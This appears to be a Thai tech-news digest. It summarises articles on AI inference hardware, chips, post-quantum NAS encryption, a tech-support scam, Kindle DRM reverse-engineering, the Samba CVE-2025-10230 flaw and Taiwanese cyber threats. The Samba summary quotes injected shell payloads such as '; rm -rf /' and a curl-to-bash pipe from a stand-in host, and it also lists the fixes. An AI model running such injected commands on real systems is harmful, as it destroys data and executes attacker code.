ตอนนี้ ดาวเทียมของบริษัทที่ขายไป ก็ยังใช้ตำแหน่งวงโคจรประจำ ของสมันน้อยอยู่เหมือนเดิม แต่เจ้าของใหม่กลายเป็นลูกกระเป๋ง ของไอ้นักล่า

ลองต่อจิ๊กซอว์ เรื่องดาวเทียม โทรศัพท์ และสายไฟเบอร์ออพติก ดูเล่นกันหน่อย เห็นภาพอะไรไหมครับ นี่ยังไม่ได้เอาเรื่องโทรศัพท์เคลื่อนที่มารวมต่อเลยนะ

ถ้าเห็นภาพแล้ว จะทำอะไรก็ให้มันมิดชิด ระวังกันหน่อยนะครับ เดี๋ยวไอ้คนแอบอ่านแอบดูแอบฟังมันกุ้งยิงกินหมด ฮาออกไหมครับ ผมฮาไม่ออกหรอก ยิ่งเคยเห็นไอ้ลูกปิงปองยักษ์แว็บๆ ยิ่งคิดมาก ใครอยากเห็น นู่นครับ แถวเชียงใหม่ ออกนอกเมืองไปไม่ถึงชั่วโมงมีลูกเบ้อเริ่ม

“EXO Labs ผสาน DGX Spark กับ Mac Studio สร้างระบบ LLM ความเร็วทะลุ 2.8 เท่า” — ยุคใหม่ของ AI inference แบบแยกส่วนที่ใช้ฮาร์ดแวร์ทั่วไป

EXO Labs ได้สาธิตระบบ AI inference แบบใหม่ที่ใช้แนวคิด “disaggregated inference” โดยผสานฮาร์ดแวร์ต่างชนิดเข้าด้วยกัน ได้แก่ 2 เครื่อง NVIDIA DGX Spark กับ Mac Studio ที่ใช้ชิป M3 Ultra ผ่านเครือข่าย 10-Gigabit Ethernet เพื่อแบ่งงานประมวลผลตามจุดแข็งของแต่ละเครื่อง

ระบบนี้ใช้ซอฟต์แวร์ EXO ซึ่งเป็น open-source framework ที่ออกแบบมาเพื่อกระจายงาน inference ของ LLM ไปยังอุปกรณ์หลายชนิด เช่น desktop, server, laptop หรือแม้แต่สมาร์ตโฟน โดยไม่จำเป็นต้องใช้ GPU เดียวกัน

หลักการทำงานคือแบ่งขั้นตอน inference ออกเป็น 2 ส่วน:

Prefill stage: อ่านและประมวลผล prompt ซึ่งต้องใช้พลังประมวลผลสูง — ให้ DGX Spark ทำ
Decode stage: สร้าง token ทีละตัว ซึ่งต้องใช้ bandwidth สูง — ให้ Mac Studio ทำ

EXO stream ข้อมูลภายในของโมเดล (KV cache) แบบ layer-by-layer เพื่อให้ทั้งสองระบบทำงานพร้อมกันโดยไม่ต้องรอกัน ส่งผลให้ความเร็วรวมเพิ่มขึ้นถึง 2.8 เท่าเมื่อเทียบกับ Mac Studio เพียงเครื่องเดียว

การทดสอบใช้โมเดล Llama 3.1 ขนาด 8B กับ prompt ยาว 8,000 token และพบว่าแม้จะเป็นโมเดลขนาดกลาง แต่การแบ่งงานแบบนี้ช่วยเพิ่มประสิทธิภาพได้อย่างชัดเจน

ข้อมูลในข่าว
EXO Labs สาธิตระบบ AI inference แบบ disaggregated โดยใช้ DGX Spark กับ Mac Studio
ใช้เครือข่าย 10-Gigabit Ethernet เชื่อมต่อระหว่างเครื่อง
ซอฟต์แวร์ EXO เป็น open-source framework สำหรับกระจายงาน inference
ระบบแบ่งงานเป็น prefill (DGX Spark) และ decode (Mac Studio)
ใช้การ stream KV cache แบบ layer-by-layer เพื่อให้ทำงานพร้อมกัน
ความเร็วรวมเพิ่มขึ้น 2.8 เท่าเมื่อเทียบกับ Mac Studio เดี่ยว
ทดสอบกับโมเดล Llama 3.1 ขนาด 8B และ prompt ยาว 8K token
EXO 1.0 ยังอยู่ในช่วง early access และไม่ใช่ซอฟต์แวร์ plug-and-play
NVIDIA เตรียมใช้แนวคิดนี้ในแพลตฟอร์ม Rubin CPX
Dynamo framework ของ NVIDIA มีเป้าหมายคล้ายกันแต่ไม่มีระบบ subscription อัตโนมัติ

https://www.tomshardware.com/software/two-nvidia-dgx-spark-systems-combined-with-m3-ultra-mac-studio-to-create-blistering-llm-system-exo-labs-demonstrates-disaggregated-ai-inference-and-achieves-a-2-8-benchmark-boost

“Tachyum Prodigy เลื่อนอีกครั้ง แต่เพิ่มเป็น 256 คอร์ต่อชิปเล็ต” — พร้อมดีล 500 ล้านดอลลาร์จากนักลงทุนยุโรป

Tachyum ประกาศอัปเดตล่าสุดเกี่ยวกับชิป Prodigy ที่ตั้งเป้าเป็นโปรเซสเซอร์อเนกประสงค์สำหรับงาน AI และ HPC โดยเพิ่มจำนวนคอร์ต่อชิปเล็ตจากเดิม 192 เป็น 256 คอร์ เพื่อผลักดันประสิทธิภาพให้สูงขึ้นถึง 3 เท่าของซีพียู x86 ชั้นนำ และ 6 เท่าของ GPGPU สำหรับงาน HPC

แม้จะมีความคืบหน้าเรื่องสเปก แต่ Prodigy ยังไม่เข้าสู่ขั้นตอน tape-out และยังไม่มีการล็อกสเปกสุดท้าย ทำให้การผลิตเชิงพาณิชย์น่าจะเริ่มได้ในปี 2027 ซึ่งถือว่าล่าช้ากว่ากำหนดเดิมหลายปี

Tachyum ได้รับเงินลงทุน Series C จำนวน 220 ล้านดอลลาร์จากนักลงทุนยุโรป และยังได้รับคำสั่งซื้อ Prodigy มูลค่า 500 ล้านดอลลาร์จากนักลงทุนรายเดียวกัน โดยเงินทุนนี้จะใช้ในการเร่งขั้นตอน tape-out และการออกแบบขั้นสุดท้าย

บริษัทคาดว่าจะได้ซิลิคอนตัวแรกในช่วงต้นปี 2026 และหากทุกอย่างเป็นไปตามแผน จะเริ่มส่งมอบเชิงพาณิชย์ได้ในกลางปี 2027 ซึ่งอาจสอดคล้องกับแผนการ IPO ของ Tachyum

ข้อมูลในข่าว
Tachyum เพิ่มจำนวนคอร์ใน Prodigy เป็น 256 คอร์ต่อชิปเล็ต
เป้าหมายคือประสิทธิภาพสูงกว่า x86 และ GPGPU ชั้นนำ
ยังไม่เข้าสู่ขั้นตอน tape-out และยังไม่ล็อกสเปกสุดท้าย
ได้รับเงินลงทุน Series C จำนวน 220 ล้านดอลลาร์
ได้รับคำสั่งซื้อ Prodigy มูลค่า 500 ล้านดอลลาร์จากนักลงทุนยุโรป
คาดว่าจะได้ซิลิคอนตัวแรกในต้นปี 2026
การส่งมอบเชิงพาณิชย์น่าจะเริ่มกลางปี 2027
อาจสอดคล้องกับแผนการ IPO ของบริษัท
ใช้เทคโนโลยีการผลิตระดับ 5nm-class จาก TSMC
การพัฒนา Prodigy ใช้เวลานานกว่า 10 ปี

คำเตือนจากข้อมูลข่าว
Prodigy ยังไม่เข้าสู่ tape-out ทำให้ประสิทธิภาพจริงยังไม่สามารถวัดได้
การเปลี่ยนแปลงสเปกระหว่างการพัฒนาอาจทำให้ timeline ล่าช้า
การพึ่งพา TSMC อาจมีความเสี่ยงด้าน supply chain
การพัฒนา 10 ปีอาจทำให้เทคโนโลยีบางส่วนล้าสมัยเมื่อเปิดตัว
หาก validation ล่าช้า การส่งมอบอาจเลื่อนออกไปอีก
การตั้งเป้าประสิทธิภาพสูงเกินไปอาจไม่สอดคล้องกับความเป็นจริงเมื่อผลิตจริง

https://www.tomshardware.com/pc-components/cpus/tachyums-general-purpose-prodigy-chip-delayed-again-now-with-256-cores-per-chiplet-and-a-usd500-million-purchase-order-from-eu-investor

“ASUSTOR NAS พร้อมรับมือยุคควอนตัม” — อัปเกรดระบบเข้ารหัสด้วยเทคโนโลยี Post-Quantum Cryptography

ASUSTOR ประกาศว่า NAS OS รุ่นล่าสุด ADM 5.1 ได้รับการอัปเกรดให้รองรับเทคโนโลยี Post-Quantum Cryptography (PQC) อย่างเต็มรูปแบบ โดยใช้มาตรฐานที่ได้รับการรับรองจาก NIST สหรัฐฯ เพื่อเตรียมพร้อมรับมือกับภัยคุกคามจากการถอดรหัสด้วยคอมพิวเตอร์ควอนตัมในอนาคต

ระบบใหม่ใช้ Hybrid TLS ที่ผสานการเข้ารหัสแบบ X25519 กับ ML-KEM 768 (Kyber) เพื่อป้องกันข้อมูลทั้งในปัจจุบันและอนาคต โดยผู้ใช้ไม่ต้องตั้งค่าใด ๆ เพิ่มเติม หากใช้เบราว์เซอร์ที่รองรับ TLS 1.3 และ PQC ระบบจะเชื่อมต่อแบบเข้ารหัสควอนตัมโดยอัตโนมัติ

การอัปเกรดนี้มีเป้าหมายเพื่อป้องกันการโจมตีแบบ “Harvest Now, Decrypt Later” ซึ่งเป็นการดักจับข้อมูลเข้ารหัสไว้ก่อน แล้วรอให้เทคโนโลยีถอดรหัสพัฒนาจนสามารถเจาะข้อมูลได้ในอนาคต เช่น ข้อมูลสำรองระยะยาว, เอกสารลับ, ทรัพย์สินทางปัญญา, ข้อมูลการแพทย์และการเงิน

ADM 5.1 จะแสดงสถานะการเข้ารหัสให้ผู้ใช้เห็นอย่างชัดเจน และจะเปิดใช้งาน PQC โดยอัตโนมัติเมื่อเบราว์เซอร์รองรับ โดยเบราว์เซอร์ที่รองรับ ได้แก่ Chrome 131, Edge 131, Firefox 135, Opera 116 และ Brave 1.73

ข้อมูลในข่าว
ASUSTOR อัปเกรด NAS OS ADM 5.1 ให้รองรับ Post-Quantum Cryptography (PQC)
ใช้มาตรฐานจาก NIST สหรัฐฯ เช่น ML-KEM 768 (Kyber)
ใช้ Hybrid TLS ที่ผสาน X25519 กับ Kyber เพื่อความปลอดภัยสองชั้น
ป้องกันการโจมตีแบบ “Harvest Now, Decrypt Later”
ผู้ใช้ไม่ต้องตั้งค่าเพิ่มเติม หากเบราว์เซอร์รองรับ TLS 1.3 และ PQC
ระบบจะเชื่อมต่อแบบเข้ารหัสควอนตัมโดยอัตโนมัติ
ADM จะแสดงสถานะการเข้ารหัสให้ผู้ใช้เห็น
เบราว์เซอร์ที่รองรับ ได้แก่ Chrome 131, Edge 131, Firefox 135, Opera 116 และ Brave 1.73
เหมาะกับการปกป้องข้อมูลระยะยาว เช่น เอกสารลับและข้อมูลสำรอง

https://www.techpowerup.com/341960/asustor-nas-devices-now-pqc-ready

“DDR5 ทะลุ 13,000 MT/s ครั้งแรก!” — Corsair Vengeance และ GIGABYTE Z890 สร้างสถิติใหม่ในโลกการโอเวอร์คล็อก

ในโลกของการโอเวอร์คล็อก หนึ่งในเป้าหมายที่นักเล่นระดับสูงไล่ล่ามานานคือการทำให้ DDR5 ทะลุความเร็ว 13,000 MT/s และล่าสุดก็มีคนทำสำเร็จแล้ว! นักโอเวอร์คล็อกชาวเยอรมันชื่อ “sergmann” ได้สร้างสถิติใหม่ด้วย Corsair Vengeance DDR5 บนเมนบอร์ด GIGABYTE Z890 Aorus Tachyon ICE โดยจับคู่กับซีพียู Intel Core Ultra 9 285K และใช้ไนโตรเจนเหลวในการระบายความร้อน

ก่อนหน้านี้ “saltycroissant” เคยทำสถิติไว้ที่ 12,920 MT/s และเกือบจะทะลุ 13,000 MT/s แต่ sergmann แซงหน้าไปด้วยความเร็ว 13,010 MT/s ซึ่งได้รับการยืนยันจาก HWBot และ CPU-Z

แม้ความเร็วจะสูงมาก แต่ latency ก็สูงเช่นกัน (CL68-127-127-127-2) ทำให้ไม่เหมาะกับการใช้งานทั่วไป แต่ถือเป็นชัยชนะเชิงเทคนิคที่แสดงถึงศักยภาพของฮาร์ดแวร์ยุคใหม่ โดยเฉพาะเมนบอร์ด Z890 และหน่วยความจำ DDR5 รุ่นล่าสุด

ข้อมูลในข่าว
DDR5 ถูกโอเวอร์คล็อกทะลุ 13,000 MT/s เป็นครั้งแรก
นักโอเวอร์คล็อก “sergmann” ใช้ Corsair Vengeance DDR5 และ GIGABYTE Z890 Aorus Tachyon ICE
ซีพียูที่ใช้คือ Intel Core Ultra 9 285K
ใช้ไนโตรเจนเหลวในการระบายความร้อน
ความเร็วที่ทำได้คือ 13,010 MT/s (6504 MHz)
ได้รับการยืนยันจาก HWBot และ CPU-Z
ค่า latency อยู่ที่ CL68-127-127-127-2
IMC to Memory Clock ratio อยู่ที่ 3:190
ความเร็วระดับนี้ไม่เหมาะกับการใช้งานทั่วไป แต่เป็นการโชว์ศักยภาพ
เมนบอร์ด Z890 และซีพียู Ultra 200S มี memory controller ที่รองรับความเร็วสูง
Corsair, Gigabyte, Seasonic และ ThermalGrizzly มีส่วนสนับสนุนการทดสอบ

https://wccftech.com/ddr5-memory-officially-pushed-over-13000-mt-s-for-the-first-time/

“หลอกลวงใหม่ใช้โลโก้ Microsoft ล็อกเบราว์เซอร์เพื่อขโมยข้อมูล” — เทคนิคใหม่ของ scammer ที่สร้างสถานการณ์ปลอมให้ผู้ใช้ตื่นตระหนก

รายงานจาก Cofense Phishing Defense Centre เผยการโจมตีแบบใหม่ที่ใช้แบรนด์ Microsoft เพื่อหลอกลวงผู้ใช้ให้โทรหาเบอร์สนับสนุนปลอม โดยเริ่มจากอีเมลที่เสนอ “เงินคืน” จากบริษัทปลอม เช่น Syria Rent a Car เพื่อดึงดูดให้ผู้ใช้คลิกลิงก์

เมื่อคลิกแล้ว ผู้ใช้จะถูกนำไปยัง CAPTCHA ปลอมเพื่อสร้างความน่าเชื่อถือและหลบเลี่ยงระบบตรวจจับอัตโนมัติ หลังจากผ่าน CAPTCHA จะเข้าสู่หน้าเว็บที่แสดง popup ปลอมว่าเครื่องติดไวรัส พร้อมข้อความเตือนจาก “Microsoft” และเบอร์โทรปลอม

เบราว์เซอร์จะถูกทำให้ดูเหมือน “ล็อก” โดยผู้ใช้ไม่สามารถควบคุมเมาส์ได้ สร้างความตื่นตระหนกและทำให้ผู้ใช้โทรหาเบอร์ที่แสดง ซึ่งจะเชื่อมต่อกับ “ช่างเทคนิคปลอม” ที่พยายามขโมยข้อมูลบัญชี หรือให้ติดตั้งโปรแกรมควบคุมระยะไกลเพื่อเข้าถึงเครื่อง

ผู้เชี่ยวชาญเตือนว่าเบราว์เซอร์ไม่ได้ถูกล็อกจริง และสามารถกด ESC เพื่อออกจากสถานการณ์ได้

ข้อมูลในข่าว
การโจมตีเริ่มจากอีเมลหลอกลวงที่เสนอเงินคืนจากบริษัทปลอม
ลิงก์ในอีเมลนำไปสู่ CAPTCHA ปลอมเพื่อหลบเลี่ยงระบบตรวจจับ
หน้าเว็บสุดท้ายแสดง popup ปลอมว่าเครื่องติดไวรัส
ใช้โลโก้ Microsoft และข้อความปลอมเพื่อสร้างความน่าเชื่อถือ
เบราว์เซอร์ถูกทำให้ดูเหมือนล็อก และเมาส์ไม่ตอบสนอง
ผู้ใช้ถูกหลอกให้โทรหาเบอร์ปลอมที่แสดงบนหน้าจอ
“ช่างเทคนิคปลอม” พยายามขโมยข้อมูลหรือให้ติดตั้งโปรแกรมควบคุมระยะไกล
เบราว์เซอร์ไม่ได้ถูกล็อกจริง และสามารถกด ESC เพื่อออกจากสถานการณ์
เป้าหมายของการโจมตีคือการขโมยข้อมูลและเข้าถึงระบบของผู้ใช้
Cofense เตือนว่าเป็นการใช้ความไว้วางใจในแบรนด์เพื่อหลอกลวง

https://hackread.com/tech-support-scam-microsoft-logo-browser-lock-data/

“เมื่อ Kindle ไม่ให้ดาวน์โหลดหนังสือที่ซื้อ — นักพัฒนาแฮกระบบเว็บเพื่ออ่านในแอปที่ตัวเองเลือก”

Pixelmelt นักพัฒนาสายแฮกเกอร์สายเทคนิค ได้เขียนบล็อกเล่าประสบการณ์สุดหัวร้อนหลังซื้อ eBook จาก Amazon แล้วพบว่าไม่สามารถอ่านผ่านแอปอื่นได้เลย Kindle Android app ก็ดันแครชซ้ำ ๆ ส่วน Kindle Web Reader ก็ไม่ให้ดาวน์โหลดไฟล์หรือ export ไปยัง Calibre ซึ่งเป็นแอปจัดการหนังสือยอดนิยมของสาย eBook

เขาจึงตัดสินใจ “reverse-engineer” ระบบ obfuscation ของ Kindle Web Reader เพื่อดึงข้อมูลหนังสือออกมาอ่านในแอปที่ตัวเองเลือก โดยพบว่า Amazon ใช้เทคนิคซับซ้อนหลายชั้นเพื่อป้องกันการเข้าถึงเนื้อหาจริง เช่น:
การแปลงตัวอักษรเป็น glyph ID แบบสุ่ม
การเปลี่ยน mapping ทุก 5 หน้า
การฝัง path SVG ที่ทำให้ parser ภายนอกอ่านผิด
การใช้หลาย font variant และ ligature
การจำกัด API ให้โหลดได้ทีละ 5 หน้าเท่านั้น

Pixelmelt ลองใช้ OCR แต่ล้มเหลว จึงหันมาใช้เทคนิค “pixel-perfect matching” โดยเรนเดอร์ glyph เป็นภาพ แล้วใช้ perceptual hash และ SSIM เพื่อจับคู่กับตัวอักษรจากฟอนต์ Bookerly ที่ Amazon ใช้

ผลลัพธ์คือ เขาสามารถถอดรหัส glyph ทั้งหมด 361 แบบจากหนังสือ 920 หน้า และสร้างไฟล์ EPUB ที่มีการจัดรูปแบบเหมือนต้นฉบับแทบทุกประการ

เขาย้ำว่าเป้าหมายไม่ใช่การละเมิดลิขสิทธิ์ แต่เพื่ออ่านหนังสือที่ “ซื้อมาแล้ว” ในแอปที่ตัวเองเลือก และเพื่อเรียนรู้เทคนิคด้าน SVG, hashing และ font metrics

ข้อมูลในข่าว
นักพัฒนาไม่สามารถอ่าน eBook ที่ซื้อจาก Amazon ในแอปอื่นได้
Kindle Android app แครช และ Web Reader ไม่ให้ดาวน์โหลดหรือ export
Amazon ใช้ระบบ obfuscation หลายชั้นเพื่อป้องกันการเข้าถึงเนื้อหา
ตัวอักษรถูกแปลงเป็น glyph ID แบบสุ่ม และเปลี่ยนทุก 5 หน้า
API จำกัดให้โหลดได้ทีละ 5 หน้า
glyphs ถูกฝังด้วย path SVG ที่ทำให้ parser อ่านผิด
ใช้หลาย font variant เช่น bold, italic, ligature
OCR ล้มเหลวในการจับคู่ glyph กับตัวอักษร
ใช้ perceptual hash และ SSIM เพื่อจับคู่ glyph กับฟอนต์ Bookerly
ถอดรหัส glyph ได้ครบ 361 แบบจากหนังสือ 920 หน้า
สร้างไฟล์ EPUB ที่มีการจัดรูปแบบเหมือนต้นฉบับ
ย้ำว่าเป้าหมายคือการอ่านหนังสือที่ซื้อมาแล้ว ไม่ใช่ละเมิดลิขสิทธิ์
ได้เรียนรู้เทคนิคด้าน SVG rendering, hashing และ font metrics

https://blog.pixelmelt.dev/kindle-web-drm/

“Librephone โดย FSF” — โปรเจกต์ปลดปล่อยมือถือจากซอฟต์แวร์ปิดซอร์ส ไม่ใช่แค่ Android fork แต่คือการท้าทายโครงสร้างระบบมือถือทั้งวงการ

ในงานครบรอบ 40 ปีของ Free Software Foundation (FSF) ที่จัดขึ้นในบอสตัน มีการเปิดตัวโปรเจกต์ใหม่ชื่อ “Librephone” ซึ่งไม่ใช่แค่การสร้างระบบปฏิบัติการมือถือแบบโอเพ่นซอร์ส แต่เป็นความพยายามครั้งใหญ่ในการ “ปลดปล่อย” มือถือจากซอฟต์แวร์ปิดซอร์สที่ฝังอยู่ในชิปและเฟิร์มแวร์

Rob Savoye หัวหน้าทีมพัฒนา Librephone ซึ่งมีประสบการณ์ยาวนานกับ GNU toolchain ระบุว่า เป้าหมายหลักของโปรเจกต์คือการ reverse-engineer และแทนที่ binary blobs ที่อยู่ใน SoC (System-on-Chip) ของมือถือ ซึ่งเป็นส่วนที่ทำให้ผู้ใช้ไม่สามารถควบคุมอุปกรณ์ของตัวเองได้อย่างแท้จริง

FSF ยืนยันว่า Librephone ไม่ใช่แค่ Android fork และไม่เกี่ยวกับการผลิตฮาร์ดแวร์ใหม่ แต่จะเน้นการสร้างสเปกที่ชัดเจนสำหรับนักพัฒนานอกเขต DMCA เพื่อให้สามารถสร้างระบบที่เป็นอิสระได้ โดยจะเริ่มจากอุปกรณ์ที่มี “ปัญหาเรื่องเสรีภาพ” น้อยที่สุดก่อน

แม้แต่ระบบยอดนิยมอย่าง LineageOS ก็ยังมี binary blobs อยู่ FSF จึงหวังว่า Librephone จะเป็นรากฐานให้กับระบบที่ปลอดจากซอฟต์แวร์ปิดซอร์สอย่างแท้จริง เช่นเดียวกับที่เคยสนับสนุนโครงการ Replicant มาก่อน

ที่สำคัญคือ FSF ต้องการให้ชุมชนมีส่วนร่วม ไม่ว่าจะเป็นนักพัฒนา ผู้ทดสอบ นักเขียนเอกสาร หรือผู้สนับสนุนด้านการเงิน โดยสามารถติดตามรายละเอียดเพิ่มเติมได้ที่ librephone.fsf.org

ข้อมูลในข่าว
Librephone เป็นโปรเจกต์ใหม่จาก Free Software Foundation (FSF)
เป้าหมายคือการ reverse-engineer และแทนที่ proprietary binary blobs ในมือถือ
ไม่ใช่ Android fork และไม่เกี่ยวกับการผลิตฮาร์ดแวร์
มุ่งเน้นการสร้างสเปกสำหรับนักพัฒนานอกเขต DMCA
เริ่มจากอุปกรณ์ที่มีปัญหาเรื่องเสรีภาพน้อยที่สุด
Rob Savoye เป็นหัวหน้าทีมพัฒนา มีประสบการณ์กับ GNU toolchain
FSF เคยสนับสนุนโครงการ Replicant มาก่อน
LineageOS ยังมี binary blobs อยู่
Librephone จะเป็นรากฐานให้กับระบบมือถือที่เสรีอย่างแท้จริง
เปิดรับอาสาสมัครทุกระดับ ไม่จำกัดเฉพาะวิศวกร
สนับสนุนได้ผ่านการบริจาค ทดสอบ เขียนเอกสาร หรือเผยแพร่ข้อมูล

https://news.itsfoss.com/librephone-project-overview/

“ช่องโหว่ CVE-2025-10230 บน Samba AD DC” — เสี่ยงถูกสั่งรันคำสั่งจากระยะไกลโดยไม่ต้องยืนยันตัวตน

ทีมพัฒนา Samba ได้ออกประกาศเตือนภัยร้ายแรงเกี่ยวกับช่องโหว่ CVE-2025-10230 ซึ่งมีคะแนน CVSS เต็ม 10.0 โดยช่องโหว่นี้เปิดทางให้ผู้โจมตีสามารถสั่งรันคำสั่งบนระบบปฏิบัติการได้จากระยะไกลโดยไม่ต้องยืนยันตัวตน หากระบบนั้นเปิดใช้งาน WINS server และมีการตั้งค่า “wins hook” ในไฟล์ smb.conf

ช่องโหว่นี้เกิดจากการที่ Samba ไม่ได้ตรวจสอบข้อมูลที่ส่งเข้ามาอย่างเพียงพอ เมื่อมีการลงทะเบียนหรือเปลี่ยนชื่อ NetBIOS ผ่าน WINS server ระบบจะเรียกใช้โปรแกรมที่กำหนดไว้ใน “wins hook” โดยนำข้อมูลที่ผู้ใช้ส่งมาไปใส่ในคำสั่ง shell โดยตรง ซึ่งเปิดช่องให้แฮกเกอร์แทรกคำสั่งอันตราย เช่น ; rm -rf / หรือ | curl malicious.site | bash

เนื่องจาก WINS เป็นโปรโตคอลเก่าที่เชื่อถือข้อมูลจาก client โดยไม่ตรวจสอบอย่างเข้มงวด ผู้โจมตีสามารถส่งชื่อ NetBIOS ที่มีความยาวไม่เกิน 15 ตัวอักษรและแฝงตัวอักขระ shell เพื่อรันคำสั่งบนเครื่องเป้าหมายได้ทันที

ช่องโหว่นี้มีผลเฉพาะกับ Samba ที่ทำหน้าที่เป็น Active Directory Domain Controller และเปิดใช้งาน WINS พร้อมตั้งค่า “wins hook” เท่านั้น ส่วน Samba ที่เป็น member server หรือ standalone host จะไม่ได้รับผลกระทบ

ทีม Samba แนะนำให้ผู้ดูแลระบบ:
ลบหรือไม่ตั้งค่า “wins hook” ใน smb.conf
ปิดการใช้งาน WINS server (wins support = no)
อัปเดตเป็นเวอร์ชันที่ปลอดภัย เช่น 4.23.2, 4.22.5 หรือ 4.21.9

ข้อมูลในข่าว
ช่องโหว่ CVE-2025-10230 มีคะแนน CVSS 10.0 เต็ม
เกิดจากการใช้ข้อมูลจาก client โดยไม่ตรวจสอบก่อนส่งเข้า shell
ส่งผลให้สามารถรันคำสั่งจากระยะไกลโดยไม่ต้องยืนยันตัวตน
มีผลเฉพาะกับ Samba AD DC ที่เปิด WINS และตั้งค่า “wins hook”
WINS เป็นโปรโตคอลเก่าที่เชื่อถือ client โดยไม่ตรวจสอบ
NetBIOS name ที่มี shell metacharacters เช่น ; หรือ | สามารถใช้โจมตีได้
Samba ที่ไม่ใช่ domain controllerจะไม่ถูกกระทบ
วิธีแก้ไขคือ ลบ “wins hook” หรือปิด WINS (wins support = no)
เวอร์ชันที่ปลอดภัย ได้แก่ 4.23.2, 4.22.5 และ 4.21.9
“wins hook” อาจถูกยกเลิกในเวอร์ชันอนาคต

https://securityonline.info/critical-samba-rce-flaw-cve-2025-10230-cvss-10-0-allows-unauthenticated-command-injection-on-ad-dcs/

ทัพฟ้าโต้เฟกนิวส์ เขมรตีปี๊บข่าว"อังคณา" : [NEWS UPDATE]
พลอากาศโท จักรกฤษณ์ ธรรมวิชัย โฆษกกองทัพอากาศ เผยกรณีกัมพูชาออกข่าวทหารไทยโจมตีกัมพูชาก่อน โดยใช้เครื่องบิน F-16 และ Gripen ยืนยัน การปะทะเมื่อวันที่ 24 กรกฎาคม 2568 มีการยิงจรวด BM- 21 เข้ามาในพื้นที่ไทยที่จังหวัดสุรินทร์ ส่งผลให้คนไทยเสียชีวิตและบาดเจ็บ กองทัพอากาศตอบโต้โดยส่งเครื่องบิน F-16 โจมตีเป้าหมายทางทหารของกัมพูชา ใช้ระเบิดความแม่นยำสูง เพื่อไม่ให้กระทบพลเรือน ข่าวดังกล่าวเป็นเฟกนิวส์ดิสเครดิตกองทัพไทย กรณีนางอังคณา นีละไพจิตร สว. ให้ความเห็นเรื่องการใช้เครื่องบิน F-16 โจมตีกัมพูชา ทางกัมพูชาเอาข่าวนางอังคณาไปขยายผล กองทัพอากาศไม่ได้ตอบโต้ สว. แต่ตอบโต้สิ่งที่ไม่ถูกต้อง และยืนยันข้อเท็จจริงว่า ปฎิบัติการของเราอยู่บนพื้นฐานการป้องกันตนเอง ของกฎบัตรสหประชาชาติ ตลอดช่วงที่โจมตีเลือกเป้าหมายทางทหารทั้งหมด




ส่อผิดจริยธรรมร้ายแรง

รอดูร่างสุดท้ายลงมติ

"นาท ภูวนัย"ตำนานหนังไทย

ยึดบิตคอยน์แก๊งสแกมเมอร์

“ไต้หวันเตือนภัยไซเบอร์จากจีนทวีความรุนแรง” — เมื่อการแฮกและข่าวปลอมกลายเป็นอาวุธก่อนเลือกตั้งปี 2026

สำนักงานความมั่นคงแห่งชาติของไต้หวัน (NSB) รายงานต่อรัฐสภาว่า ประเทศกำลังเผชิญกับการโจมตีทางไซเบอร์จากจีนอย่างหนัก โดยเฉลี่ยแล้วมีการพยายามเจาะระบบถึง 2.8 ล้านครั้งต่อวัน เพิ่มขึ้น 17% จากปีที่ผ่านมา

นอกจากการแฮกข้อมูลแล้ว จีนยังดำเนินการรณรงค์ข่าวปลอมผ่าน “กองทัพโทรลออนไลน์” ที่ใช้บัญชีโซเชียลมีเดียกว่า 10,000 บัญชีในการเผยแพร่โพสต์ปลอมมากกว่า 1.5 ล้านรายการ โดยเนื้อหาส่วนใหญ่สนับสนุนจีนและบิดเบือนนโยบายภายในของไต้หวัน รวมถึงการเจรจาการค้ากับสหรัฐฯ

กลุ่มแฮกเกอร์ที่เกี่ยวข้อง เช่น APT41, Volt Typhoon และ Salt Typhoon มุ่งเป้าไปที่โครงสร้างพื้นฐานสำคัญ เช่น การป้องกันประเทศ โทรคมนาคม พลังงาน และสาธารณสุข โดยใช้มัลแวร์และช่องทางใน dark web เพื่อขโมยข้อมูลและเผยแพร่เนื้อหาบิดเบือน

จีนปฏิเสธข้อกล่าวหาทั้งหมด และกลับกล่าวหาสหรัฐฯ ว่าเป็น “นักเลงไซเบอร์ตัวจริงของโลก” โดยอ้างว่า NSA เคยโจมตีโครงสร้างพื้นฐานของจีนหลายครั้ง

ข้อมูลในข่าว
ไต้หวันเผชิญการโจมตีไซเบอร์จากจีนเฉลี่ย 2.8 ล้านครั้งต่อวัน
เพิ่มขึ้น 17% จากปีที่ผ่านมา
จีนใช้บัญชีโทรลกว่า 10,000 บัญชีเผยแพร่โพสต์ปลอมกว่า 1.5 ล้านรายการ
เนื้อหาส่วนใหญ่สนับสนุนจีนและบิดเบือนนโยบายของไต้หวัน
กลุ่มแฮกเกอร์ที่เกี่ยวข้อง ได้แก่ APT41, Volt Typhoon, Salt Typhoon
เป้าหมายคือโครงสร้างพื้นฐานสำคัญ เช่น กลาโหม โทรคมนาคม พลังงาน และสาธารณสุข
ใช้มัลแวร์และช่องทาง dark web ในการเผยแพร่ข้อมูล
จีนปฏิเสธข้อกล่าวหาและกล่าวหาสหรัฐฯ ว่าเป็นผู้โจมตีไซเบอร์ตัวจริง

https://www.techradar.com/pro/security/taiwan-warns-chinese-cyberattacks-are-intensifying